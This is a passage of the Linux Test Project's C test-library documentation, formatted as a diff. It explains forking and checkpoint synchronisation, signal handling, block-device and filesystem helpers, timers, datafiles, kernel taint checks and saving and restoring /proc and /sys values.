buffered, but block buffered. Hence after a fork content +of the buffers will be printed by the parent and each of the children. + +To avoid that you should use 'SAFE_FORK()', 'SAFE_CLONE()' or 'tst_clone()'. + +IMPORTANT: You have to set the '.forks_child' flag in the test structure + if your testcase forks or calls 'SAFE_CLONE()'. + +1.8 Doing the test in the child process +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Results reported by 'tst_res()' are propagated to the parent test process via +block of shared memory. + +Calling 'tst_brk()' causes child process to exit with non-zero exit value. +Which means that it's safe to use 'SAFE_*()' macros in the child processes as +well. + +Children that outlive the 'test()' function execution are waited for in the +test library. Unclean child exit (killed by signal, non-zero exit value, etc.) +will cause the main test process to exit with 'tst_brk()', which especially +means that 'TBROK' propagated from a child process will cause the whole test +to exit with 'TBROK'. + +If a test needs a child that segfaults or does anything else that cause it to +exit uncleanly all you need to do is to wait for such children from the +'test()' function so that it's reaped before the main test exits the 'test()' +function. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +void tst_reap_children(void); +------------------------------------------------------------------------------- + +The 'tst_reap_children()' function makes the process wait for all of its +children and exits with 'tst_brk(TBROK, ...)' if any of them returned +a non zero exit code. + +When using 'SAFE_CLONE' or 'tst_clone', this may not work depending on +the parameters passed to clone. The following call to 'SAFE_CLONE' is +identical to 'fork()', so will work as expected. + +[source,c] +-------------------------------------------------------------------------------- +const struct tst_clone_args args = { + .exit_signal = SIGCHLD, +}; + +SAFE_CLONE(&args); +-------------------------------------------------------------------------------- + +If 'exit_signal' is set to something else, then this will break +'tst_reap_children'. It's not expected that all parameters to clone will +work with the LTP library unless specific action is taken by the test code. + +.Using 'tst_res()' from binaries started by 'exec()' +[source,c] +------------------------------------------------------------------------------- +/* test.c */ +#define _GNU_SOURCE +#include +#include "tst_test.h" + +static void do_test(void) +{ + char *const argv[] = {"test_exec_child", NULL}; + char path[4096]; + + if (tst_get_path("test_exec_child", path, sizeof(path))) + tst_brk(TCONF, "Couldn't find test_exec_child in $PATH"); + + execve(path, argv, environ); + + tst_res(TFAIL | TERRNO, "EXEC!"); +} + +static struct tst_test test = { + .test_all = do_test, + .child_needs_reinit = 1, +}; + +/* test_exec_child.c */ +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" + +int main(void) +{ + tst_reinit(); + tst_res(TPASS, "Child passed!"); + return 0; +} +------------------------------------------------------------------------------- + +The 'tst_res()' function can be also used from binaries started by 'exec()', +the parent test process has to set the '.child_needs_reinit' flag so that the +library prepares for it and has to make sure the 'LTP_IPC_PATH' environment +variable is passed down, then the very first thing the program has to call in +'main()' is 'tst_reinit()' that sets up the IPC. + +1.9 Fork() and Parent-child synchronization +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +As LTP tests are written for Linux, most of the tests involve fork()-ing and +parent-child process synchronization. LTP includes a checkpoint library that +provides wait/wake futex based functions. + +In order to use checkpoints the '.needs_checkpoints' flag in the 'struct +tst_test' must be set to '1', this causes the test library to initialize +checkpoints before the 'test()' function is called. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +TST_CHECKPOINT_WAIT(id) + +TST_CHECKPOINT_WAIT2(id, msec_timeout) + +TST_CHECKPOINT_WAKE(id) + +TST_CHECKPOINT_WAKE2(id, nr_wake) + +TST_CHECKPOINT_WAKE_AND_WAIT(id) +------------------------------------------------------------------------------- + +The checkpoint interface provides pair of wake and wait functions. The 'id' is +unsigned integer which specifies checkpoint to wake/wait for. As a matter of +fact it's an index to an array stored in a shared memory, so it starts on +'0' and there should be enough room for at least of hundred of them. + +The 'TST_CHECKPOINT_WAIT()' and 'TST_CHECKPOINT_WAIT2()' suspends process +execution until it's woken up or until timeout is reached. + +The 'TST_CHECKPOINT_WAKE()' wakes one process waiting on the checkpoint. +If no process is waiting the function retries until it success or until +timeout is reached. + +If timeout has been reached process exits with appropriate error message (uses +'tst_brk()'). + +The 'TST_CHECKPOINT_WAKE2()' does the same as 'TST_CHECKPOINT_WAKE()' but can +be used to wake precisely 'nr_wake' processes. + +The 'TST_CHECKPOINT_WAKE_AND_WAIT()' is a shorthand for doing wake and then +immediately waiting on the same checkpoint. + +Child processes created via 'SAFE_FORK()' are ready to use the checkpoint +synchronization functions, as they inherited the mapped page automatically. + +Child processes started via 'exec()', or any other processes not forked from +the test process must initialize the checkpoint by calling 'tst_reinit()'. + +For the details of the interface, look into the 'include/tst_checkpoint.h'. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +/* + * Waits for process state change. + * + * The state is one of the following: + * + * R - process is running + * S - process is sleeping + * D - process sleeping uninterruptibly + * Z - zombie process + * T - process is traced + */ +TST_PROCESS_STATE_WAIT(pid, state, msec_timeout) +------------------------------------------------------------------------------- + +The 'TST_PROCESS_STATE_WAIT()' waits until process 'pid' is in requested +'state' or timeout is reached. The call polls +/proc/pid/stat+ to get this +information. A timeout of 0 will wait infinitely. + +On timeout -1 is returned and errno set to ETIMEDOUT. + +It's mostly used with state 'S' which means that process is sleeping in kernel +for example in 'pause()' or any other blocking syscall. + +1.10 Signals and signal handlers +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to use signal handlers, keep the code short and simple. Don't +forget that the signal handler is called asynchronously and can interrupt the +code execution at any place. + +This means that problems arise when global state is changed both from the test +code and signal handler, which will occasionally lead to: + +* Data corruption (data gets into inconsistent state), this may happen, for + example, for any operations on 'FILE' objects. + +* Deadlock, this happens, for example, if you call 'malloc(2)', 'free(2)', + etc. from both the test code and the signal handler at the same time since + 'malloc' has global lock for it's internal data structures. (Be wary that + 'malloc(2)' is used by the libc functions internally too.) + +* Any other unreproducible and unexpected behavior. + +Quite common mistake is to call 'exit(3)' from a signal handler. Note that this +function is not signal-async-safe as it flushes buffers, etc. If you need to +exit a test immediately from a signal handler use '_exit(2)' instead. + +TIP: See 'man 7 signal' for the list of signal-async-safe functions. + +If a signal handler sets a variable, its declaration must be 'volatile', +otherwise compiler may misoptimize the code. This is because the variable may +not be changed in the compiler code flow analysis. There is 'sig_atomic_t' +type defined in C99 but this one *DOES NOT* imply 'volatile' (it's just a +'typedef' to 'int'). So the correct type for a flag that is changed from a +signal handler is either 'volatile int' or 'volatile sig_atomic_t'. + +If a crash (e.g. triggered by signal SIGSEGV) is expected in testing, you +can avoid creation of core files by calling 'tst_no_corefile()' function. +This takes effect for process (and its children) which invoked it, unless +they subsequently modify RLIMIT_CORE. + +Note that LTP library will reap any processes that test didn't reap itself, +and report any non-zero exit code as failure. + +1.11 Kernel Modules +~~~~~~~~~~~~~~~~~~~ + +There are certain cases where the test needs a kernel part and userspace part, +happily, LTP can build a kernel module and then insert it to the kernel on test +start for you. See 'testcases/kernel/device-drivers/block' for details. + +1.12 Useful macros +~~~~~~~~~~~~~~~~~~ + +These macros are defined in 'include/tst_common.h'. + +[source,c] +------------------------------------------------------------------------------- +ARRAY_SIZE(arr) +------------------------------------------------------------------------------- + +Returns the size of statically defined array, i.e. +'(sizeof(arr) / sizeof(*arr))' + +[source,c] +------------------------------------------------------------------------------- +LTP_ALIGN(x, a) +------------------------------------------------------------------------------- + +Aligns the x to be next multiple of a. The a must be power of 2. + +[source,c] +------------------------------------------------------------------------------- +TST_TO_STR(s) /* stringification */ +TST_TO_STR_(s) /* macro expansion */ +------------------------------------------------------------------------------- + +Macros for stringification. + +1.13 Filesystem type detection and skiplist +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests are known to fail on certain filesystems (you cannot swap on TMPFS, +there are unimplemented 'fcntl()' etc.). + +If your test needs to be skipped on certain filesystems use the +'.skip_filesystems' field in the tst_test structure as follows: + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static struct tst_test test = { + ... + .skip_filesystems = (const char *const []) { + "tmpfs", + "ramfs", + "nfs", + NULL + }, +}; +------------------------------------------------------------------------------- + +When the '.all_filesystems' flag is set the '.skip_filesystems' list is passed +to the function that detects supported filesystems any listed filesystem is +not included in the resulting list of supported filesystems. + +If test needs to adjust expectations based on filesystem type it's also +possible to detect filesystem type at the runtime. This is preferably used +when only subset of the test is not applicable for a given filesystem. + +NOTE: ext2, ext3 or ext4 in '.skip_filesystems' on tests which does *not* use + '.all_filesystems' needs to be defined as 'ext2/ext3/ext4'. The reason + is that it is hard to detect used filesystem due to overlapping the functionality. + OTOH tests which use '.skip_filesystems' *with* '.all_filesystems' can skip + only filesystems which are actually used in '.all_filesystems': ext2, ext3, + ext4, xfs, btrfs, vfat, exfat, ntfs, tmpfs (defined in 'fs_type_whitelist[]'). + It does not make sense to list other filesystems. + + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static void run(void) +{ + ... + + switch ((type = tst_fs_type("."))) { + case TST_NFS_MAGIC: + case TST_TMPFS_MAGIC: + case TST_RAMFS_MAGIC: + tst_brk(TCONF, "Subtest not supported on %s", + tst_fs_type_name(type)); + return; + break; + } + + ... +} +------------------------------------------------------------------------------- + +1.14 Thread-safety in the LTP library +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It is safe to use library 'tst_res()' function in multi-threaded tests. + +Only the main thread must return from the 'test()' function to the test +library and that must be done only after all threads that may call any library +function has been terminated. That especially means that threads that may call +'tst_brk()' must terminate before the execution of the 'test()' function +returns to the library. This is usually done by the main thread joining all +worker threads at the end of the 'test()' function. Note that the main thread +will never get to the library code in a case that 'tst_brk()' was called from +one of the threads since it will sleep at least in 'pthread_join()' on the +thread that called the 'tst_brk()' till 'exit()' is called by 'tst_brk()'. + +The test-supplied cleanup function runs *concurrently* to the rest of the +threads in a case that cleanup was entered from 'tst_brk()'. Subsequent +threads entering 'tst_brk()' must be suspended or terminated at the start of +the user supplied cleanup function. It may be necessary to stop or exit +the rest of the threads before the test cleans up as well. For example threads +that create new files should be stopped before temporary directory is be +removed. + +Following code example shows thread safe cleanup function example using atomic +increment as a guard. The library calls its cleanup after the execution returns +from the user supplied cleanup and expects that only one thread returns from +the user supplied cleanup to the test library. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static void cleanup(void) +{ + static int flag; + + if (tst_atomic_inc(&flag) != 1) + pthread_exit(NULL); + + /* if needed stop the rest of the threads here */ + + ... + + /* then do cleanup work */ + + ... + + /* only one thread returns to the library */ +} +------------------------------------------------------------------------------- + + +1.15 Testing with a block device +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests needs a block device (inotify tests, syscall 'EROFS' failures, +etc.). LTP library contains a code to prepare a testing device. + +If '.needs_device' flag in the 'struct tst_test' is set the 'tst_device' +structure is initialized with a path to a test device and default filesystem +to be used. + +You can also request minimal device size in megabytes by setting +'.dev_min_size' the device is guaranteed to have at least the requested size +then. + +If '.format_device' flag is set the device is formatted with a filesystem as +well. You can use '.dev_fs_type' to override the default filesystem type if +needed and pass additional options to mkfs via '.dev_fs_opts' and +'.dev_extra_opts' pointers. Note that '.format_device' implies '.needs_device' +there is no need to set both. + +If '.mount_device' is set, the device is mounted at '.mntpoint' which is used +to pass a directory name that will be created and used as mount destination. +You can pass additional flags and data to the mount command via '.mnt_flags' +and '.mnt_data' pointers. Note that '.mount_device' implies '.needs_device' +and '.format_device' so there is no need to set the later two. + +If '.needs_rofs' is set, read-only filesystem is mounted at '.mntpoint' this +one is supposed to be used for 'EROFS' tests. + +If '.all_filesystems' is set the test function is executed for all supported +filesystems. Supported filesystems are detected based on existence of the +'mkfs.$fs' helper and on kernel support to mount it. For each supported +filesystem the 'tst_device.fs_type' is set to the currently tested fs type, if +'.format_device' is set the device is formatted as well, if '.mount_device' is +set it's mounted at '.mntpoint'. Also the test timeout is reset for each +execution of the test function. This flag is expected to be used for filesystem +related syscalls that are at least partly implemented in the filesystem +specific code e.g. 'fallocate()'. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +struct tst_device { + const char *dev; + const char *fs_type; +}; + +extern struct tst_device *tst_device; + +int tst_umount(const char *path); +------------------------------------------------------------------------------- + +In case that 'LTP_DEV' is passed to the test in an environment, the library +checks that the file exists and that it's a block device, if +'.device_min_size' is set the device size is checked as well. If 'LTP_DEV' +wasn't set or if size requirements were not met a temporary file is created +and attached to a free loop device. + +If there is no usable device and loop device couldn't be initialized the test +exits with 'TCONF'. + +The 'tst_umount()' function works exactly as 'umount(2)' but retries several +times on 'EBUSY'. This is because various desktop daemons (gvfsd-trash is known +for that) may be stupid enough to probe all newly mounted filesystem which +results in 'umount(2)' failing with 'EBUSY'. + +IMPORTANT: All testcases should use 'tst_umount()' instead of 'umount(2)' to + umount filesystems. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_find_free_loopdev(const char *path, size_t path_len); +------------------------------------------------------------------------------- + +This function finds a free loopdev and returns the free loopdev minor (-1 for no +free loopdev). If path is non-NULL, it will be filled with free loopdev path. +If you want to use a customized loop device, we can call 'tst_find_free_loopdev(NULL, 0)' +in tests to get a free minor number and then mknod. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +unsigned long tst_dev_bytes_written(const char *dev); +------------------------------------------------------------------------------- + +This function reads test block device stat file ('/sys/block//stat') and +returns the bytes written since the last invocation of this function. To avoid +FS deferred IO metadata/cache interference, we suggest doing "syncfs" before the +tst_dev_bytes_written first invocation. And an inline function named 'tst_dev_sync()' +is created for that intention. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +void tst_find_backing_dev(const char *path, char *dev, size_t dev_size); +------------------------------------------------------------------------------- + +This function finds the block dev that this path belongs to, using uevent in sysfs. +For Btrfs it uses '/sys/fs/btrfs/UUID/devices/DEV_NAME/uevent'; for other +filesystems it uses '/sys/dev/block/MAJOR:MINOR/uevent'. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +uint64_t tst_get_device_size(const char *dev_path); +------------------------------------------------------------------------------- + +This function gets size of the given block device, it checks the 'dev_path' is +valid first, if yes, return the size in MB, otherwise return -1. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_dev_block_size(const char *path); +------------------------------------------------------------------------------- + +This function returns the physical device block size for the specific `path`. +It finds the device where `path` is located and then uses `ioctl` (BLKSSZGET) +to get a physical device block size. + +1.16 Formatting a device with a filesystem +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static void setup(void) +{ + ... + SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL); + ... +} +------------------------------------------------------------------------------- + +This function takes a path to a device, filesystem type and an array of extra +options passed to mkfs. + +The fs options 'fs_opts' should either be 'NULL' if there are none, or a +'NULL' terminated array of strings such as: ++const char *const opts[] = {"-b", "1024", NULL}+. + +The extra options 'extra_opts' should either be 'NULL' if there are none, or a +'NULL' terminated array of strings such as +{"102400", NULL}+; 'extra_opts' +will be passed after device name. e.g: +mkfs -t ext4 -b 1024 /dev/sda1 102400+ +in this case. + +Note that perfer to store the options which can be passed before or after device +name by 'fs_opts' array. + +1.17 Verifying a filesystem's free space +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests have size requirements for the filesystem's free space. If these +requirements are not satisfied, the tests should be skipped. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_fs_has_free(const char *path, unsigned int size, unsigned int mult); +------------------------------------------------------------------------------- + +The 'tst_fs_has_free()' function returns 1 if there is enough space and 0 if +there is not. + +The 'path' is the pathname of any directory/file within a filesystem. + +The 'mult' is a multiplier, one of 'TST_BYTES', 'TST_KB', 'TST_MB' or 'TST_GB'. + +The required free space is calculated by 'size * mult', e.g. +'tst_fs_has_free("/tmp/testfile", 64, TST_MB)' will return 1 if the +filesystem, which '"/tmp/testfile"' is in, has 64MB free space at least, and 0 +if not. + +1.18 Files, directories and fs limits +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests need to know the maximum count of links to a regular file or +directory, such as 'rename(2)' or 'linkat(2)' to test 'EMLINK' error. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_fs_fill_hardlinks(const char *dir); +------------------------------------------------------------------------------- + +Try to get maximum count of hard links to a regular file inside the 'dir'. + +NOTE: This number depends on the filesystem 'dir' is on. + +This function uses 'link(2)' to create hard links to a single file until it +gets 'EMLINK' or creates 65535 links. If the limit is hit, the maximum number of +hardlinks is returned and the 'dir' is filled with hardlinks in format +"testfile%i", where i belongs to [0, limit) interval. If no limit is hit or if +'link(2)' failed with 'ENOSPC' or 'EDQUOT', zero is returned and previously +created files are removed. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_fs_fill_subdirs(const char *dir); +------------------------------------------------------------------------------- + +Try to get maximum number of subdirectories in directory. + +NOTE: This number depends on the filesystem 'dir' is on. For current kernel, +subdir limit is not available for all filesystems (available for ext2, ext3, +minix, sysv and more). If the test runs on some other filesystems, like ramfs, +tmpfs, it will not even try to reach the limit and return 0. + +This function uses 'mkdir(2)' to create directories in 'dir' until it gets +'EMLINK' or creates 65535 directories. If the limit is hit, the maximum number +of subdirectories is returned and the 'dir' is filled with subdirectories in +format "testdir%i", where i belongs to [0, limit - 2) interval (because each +newly created dir has two links already - the '.' and the link from parent +dir). If no limit is hit or if 'mkdir(2)' failed with 'ENOSPC' or 'EDQUOT', +zero is returned and previously created directories are removed. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_dir_is_empty(const char *dir, int verbose); +------------------------------------------------------------------------------- + +Returns non-zero if directory is empty and zero otherwise. + +Directory is considered empty if it contains only '.' and '..'. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +void tst_purge_dir(const char *path); +------------------------------------------------------------------------------- + +Deletes the contents of given directory but keeps the directory itself. Useful +for cleaning up the temporary directory and mount points between test cases or +test iterations. Terminates the program with 'TBROK' on error. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_fill_fd(int fd, char pattern, size_t bs, size_t bcount); +------------------------------------------------------------------------------- + +Fill a file with specified pattern using file descriptor. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_prealloc_size_fd(int fd, size_t bs, size_t bcount); +------------------------------------------------------------------------------- + +Preallocate the specified amount of space using 'fallocate()'. Falls back to +'tst_fill_fd()' if 'fallocate()' fails. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_fill_file(const char *path, char pattern, size_t bs, size_t bcount); +------------------------------------------------------------------------------- + +Creates/overwrites a file with specified pattern using file path. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_prealloc_file(const char *path, size_t bs, size_t bcount); +------------------------------------------------------------------------------- + +Create/overwrite a file and preallocate the specified amount of space for it. +The allocated space will not be initialized to any particular content. + +1.19 Getting an unused PID number +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests require a 'PID', which is not used by the OS (does not belong to +any process within it). For example, kill(2) should set errno to 'ESRCH' if +it's passed such 'PID'. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +pid_t tst_get_unused_pid(void); +------------------------------------------------------------------------------- + +Return a 'PID' value not used by the OS or any process within it. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_get_free_pids(void); +------------------------------------------------------------------------------- + +Returns number of unused pids in the system. Note that this number may be +different once the call returns and should be used only for rough estimates. + +1.20 Running executables +~~~~~~~~~~~~~~~~~~~~~~~~ + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +int tst_cmd(const char *const argv[], + const char *stdout_path, + const char *stderr_path, + enum tst_cmd_flags flags); +------------------------------------------------------------------------------- + +'tst_cmd()' is a wrapper for 'vfork() + execvp()' which provides a way +to execute an external program. + +'argv[]' is a 'NULL' terminated array of strings starting with the program name +which is followed by optional arguments. + +'TST_CMD_PASS_RETVAL' enum 'tst_cmd_flags' makes 'tst_cmd()' +return the program exit code to the caller, otherwise 'tst_cmd()' exit the +tests on failure. 'TST_CMD_TCONF_ON_MISSING' check for program in '$PATH' and exit +with 'TCONF' if not found. + +In case that 'execvp()' has failed and the enum 'TST_CMD_PASS_RETVAL' flag was set, the +return value is '255' if 'execvp()' failed with 'ENOENT' and '254' otherwise. + +'stdout_path' and 'stderr_path' determine where to redirect the program +stdout and stderr I/O streams. + +The 'SAFE_CMD()' macro can be used automatic handling non-zero exits (exits +with 'TBROK') and 'ENOENT' (exits with 'TCONF'). + +.Example +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +const char *const cmd[] = { "ls", "-l", NULL }; + +... + /* Store output of 'ls -l' into log.txt */ + tst_cmd(cmd, "log.txt", NULL, 0); +... +------------------------------------------------------------------------------- + +1.21 Measuring elapsed time and helper functions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +[source,c] +------------------------------------------------------------------------------- +#include "tst_timer.h" + +void tst_timer_check(clockid_t clk_id); + +void tst_timer_start(clockid_t clk_id); + +void tst_timer_stop(void); + +struct timespec tst_timer_elapsed(void); + +long long tst_timer_elapsed_ms(void); + +long long tst_timer_elapsed_us(void); + +int tst_timer_expired_ms(long long ms); +------------------------------------------------------------------------------- + +The 'tst_timer_check()' function checks if specified 'clk_id' is supported and +exits the test with 'TCONF' otherwise. It's expected to be used in test +'setup()' before any resources that needs to be cleaned up are initialized, +hence it does not include a cleanup function parameter. + +The 'tst_timer_start()' marks start time and stores the 'clk_id' for further +use. + +The 'tst_timer_stop()' marks the stop time using the same 'clk_id' as last +call to 'tst_timer_start()'. + +The 'tst_timer_elapsed*()' returns time difference between the timer start and +last timer stop in several formats and units. + +The 'tst_timer_expired_ms()' function checks if the timer started by +'tst_timer_start()' has been running longer than ms milliseconds. The function +returns non-zero if timer has expired and zero otherwise. + +IMPORTANT: The timer functions use 'clock_gettime()' internally which needs to + be linked with '-lrt' on older glibc. Please do not forget to add + 'LDLIBS+=-lrt' in Makefile. + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" +#include "tst_timer.h" + +static void setup(void) +{ + ... + tst_timer_check(CLOCK_MONOTONIC); + ... +} + +static void run(void) +{ + ... + tst_timer_start(CLOCK_MONOTONIC); + ... + while (!tst_timer_expired_ms(5000)) { + ... + } + ... +} + +struct tst_test test = { + ... + .setup = setup, + .test_all = run, + ... +}; +------------------------------------------------------------------------------- + +Expiration timer example usage. + +[source,c] +------------------------------------------------------------------------------- +long long tst_timespec_to_us(struct timespec t); +long long tst_timespec_to_ms(struct timespec t); + +struct timeval tst_us_to_timeval(long long us); +struct timeval tst_ms_to_timeval(long long ms); + +int tst_timespec_lt(struct timespec t1, struct timespec t2); + +struct timespec tst_timespec_add_us(struct timespec t, long long us); + +struct timespec tst_timespec_diff(struct timespec t1, struct timespec t2); +long long tst_timespec_diff_us(struct timespec t1, struct timespec t2); +long long tst_timespec_diff_ms(struct timespec t1, struct timespec t2); + +struct timespec tst_timespec_abs_diff(struct timespec t1, struct timespec t2); +long long tst_timespec_abs_diff_us(struct timespec t1, struct timespec t2); +long long tst_timespec_abs_diff_ms(struct timespec t1, struct timespec t2); +------------------------------------------------------------------------------- + +The first four functions are simple inline conversion functions. + +The 'tst_timespec_lt()' function returns non-zero if 't1' is earlier than +'t2'. + +The 'tst_timespec_add_us()' function adds 'us' microseconds to the timespec +'t'. The 'us' is expected to be positive. + +The 'tst_timespec_diff*()' functions returns difference between two times, the +'t1' is expected to be later than 't2'. + +The 'tst_timespec_abs_diff*()' functions returns absolute value of difference +between two times. + +NOTE: All conversions to ms and us rounds the value. + +1.22 Datafiles +~~~~~~~~~~~~~~ + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static const char *const res_files[] = { + "foo", + "bar", + NULL +}; + +static struct tst_test test = { + ... + .resource_files = res_files, + ... +} +------------------------------------------------------------------------------- + +If the test needs additional files to be copied to the test temporary +directory all you need to do is to list their filenames in the +'NULL' terminated array '.resource_files' in the tst_test structure. + +When resource files is set test temporary directory is created automatically, +there is need to set '.needs_tmpdir' as well. + +The test library looks for datafiles first, these are either stored in a +directory called +datafiles+ in the +$PWD+ at the start of the test or in ++$LTPROOT/testcases/data/${test_binary_name}+. If the file is not found the +library looks into +$LTPROOT/testcases/bin/+ and to +$PWD+ at the start of the +test. This ensures that the testcases can copy the file(s) effortlessly both +when test is started from the directory it was compiled in as well as when LTP +was installed. + +The file(s) are copied to the newly created test temporary directory which is +set as the test working directory when the 'test()' functions is executed. + +1.23 Code path tracing +~~~~~~~~~~~~~~~~~~~~~~ + +'tst_res' is a macro, so on when you define a function in one file: + +[source,c] +------------------------------------------------------------------------------- +int do_action(int arg) +{ + ... + + if (ok) { + tst_res(TPASS, "check passed"); + return 0; + } else { + tst_res(TFAIL, "check failed"); + return -1; + } +} +------------------------------------------------------------------------------- + +and call it from another file, the file and line reported by 'tst_res' in this +function will be from the former file. + +'TST_TRACE' can make the analysis of such situations easier. It's a macro which +inserts a call to 'tst_res(TINFO, ...)' in case its argument evaluates to +non-zero. In this call to 'tst_res(TINFO, ...)' the file and line will be +expanded using the actual location of 'TST_TRACE'. + +For example, if this another file contains: + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +if (TST_TRACE(do_action(arg))) { + ... +} +------------------------------------------------------------------------------- + +the generated output may look similar to: + +------------------------------------------------------------------------------- +common.h:9: FAIL: check failed +test.c:8: INFO: do_action(arg) failed +------------------------------------------------------------------------------- + +1.24 Tainted kernels +~~~~~~~~~~~~~~~~~~~~ + +If you need to detect whether a testcase triggers a kernel warning, bug or +oops, the following can be used to detect TAINT_W or TAINT_D: + +[source,c] +------------------------------------------------------------------------------- +#include "tst_test.h" + +static struct tst_test test = { + ... + .taint_check = TST_TAINT_W | TST_TAINT_D, + ... +}; + +void run(void) +{ + ... + if (tst_taint_check() != 0) + tst_res(TFAIL, "kernel has issues"); + else + tst_res(TPASS, "kernel seems to be fine"); +} +------------------------------------------------------------------------------- + +To initialize taint checks, you have to set the taint flags you want to test +for in the 'taint_check' attribute of the tst_test struct. LTP library will +then automatically call 'tst_taint_init()' during test setup. The function +will generate a 'TCONF' if the requested flags are not fully supported on the +running kernel, and 'TBROK' if the kernel is already tainted before executing +the test. + +LTP library will then automatically check kernel taint at the end of testing. +If '.all_filesystems' is set in struct tst_test, taint check will be performed +after each file system and taint will abort testing early with 'TFAIL'. You +can optionally also call 'tst_taint_check()' during 'run()', which returns 0 +or the tainted flags set in '/proc/sys/kernel/tainted' as specified earlier. + +Depending on your kernel version, not all tainted-flags will be supported. + +For reference to tainted kernels, see kernel documentation: +Documentation/admin-guide/tainted-kernels.rst or +https://www.kernel.org/doc/html/latest/admin-guide/tainted-kernels.html + +1.25 Checksums +~~~~~~~~~~~~~~ + +CRC32c checksum generation is supported by LTP. In order to use it, the +test should include 'tst_checksum.h' header, then can call 'tst_crc32c()'. + +1.26 Checking kernel for the driver support +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Some tests may need specific kernel drivers, either compiled in, or built +as a module. If '.needs_drivers' points to a 'NULL' terminated array of kernel +module names these are all checked and the test exits with 'TCONF' on the +first missing driver. + +The detection is based on reading 'modules.dep' and 'modules.builtin' files +generated by kmod. The check is skipped on Android. + +1.27 Saving & restoring /proc|sys values +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +LTP library can be instructed to save and restore value of specified +(/proc|sys) files. This is achieved by initialized tst_test struct +field 'save_restore'. It is a NULL-terminated array of struct +'tst_path_val' where each tst_path_val.path represents a file, whose +value is saved at the beginning and restored at the end of the test. +If non-NULL string is passed in tst_path_val.val, it is written +to the respective file at the beginning of the test. Only the first line +of a specified file is saved and restored. + +By default, the test will end with TCONF if the file is read-only or +does not exist. If the optional write of new value fails, the test will end +with 'TBROK'. This behavior can be changed using tst_path_val.flags: + +* 'TST_SR_TBROK_MISSING' – End test with 'TBROK' if the file does not exist +* 'TST_SR_TCONF_MISSING' – End test with 'TCONF' if the file does not exist +* 'TST_SR_SKIP_MISSING' – Continue without saving the file if it does not exist +* 'TST_SR_TBROK_RO' – End test with 'TBROK' if the file is read-only +* 'TST_SR_TCONF_RO' – End test with 'TCONF' if the file is read-only +* 'TST_SR_SKIP_RO' – Continue without saving the file if it is read-only +* 'TST_SR_IGNORE_ERR' – Ignore errors when writing new value into the file + +Common flag combinations also have shortcuts: + +* 'TST_SR_TCONF' – Equivalent to 'TST_SR_TCONF_MISSING | TST_SR_TCONF_RO' +* 'TST_SR_TBROK' – Equivalent to 'TST_SR_TBROK_MISSING | TST_SR_TBROK_RO' +* 'TST_SR_SKIP' – Equivalent to 'TST_SR_SKIP_MISSING | TST_SR_SKIP_RO' + +'restore' is always strict and will TWARN if it encounters any error. + +[source,c] +------------------------------------------------------------------------------- +static struct tst_test test = { + ... + .setup = setup, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/core_pattern", NULL, TST_SR_TCONF}, + {"/proc/sys/user/max_user_namespaces", NULL, TST_SR_SKIP}, + {"/sys/kernel/mm/ksm/run", "1", TST_SR_TBROK}, + {} + }, +}; +------------------------------------------------------------------------------- + +1.28 Parsing kernel .config +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Generally testcases should attempt to autodetect as much kernel features as +possible based on the currently running kernel. We do have tst_check_driver() +to check if functionality that could be compiled as kernel module is present +on the system, disabled syscalls can be detected by checking for 'ENOSYS' +errno etc. + +However in rare cases core kernel features couldn't be detected based on the +kernel userspace API and we have to resort to parse the kernel .config. + +For this cases the test should set the 'NULL' terminated '.needs_kconfigs' +array of boolean expressions 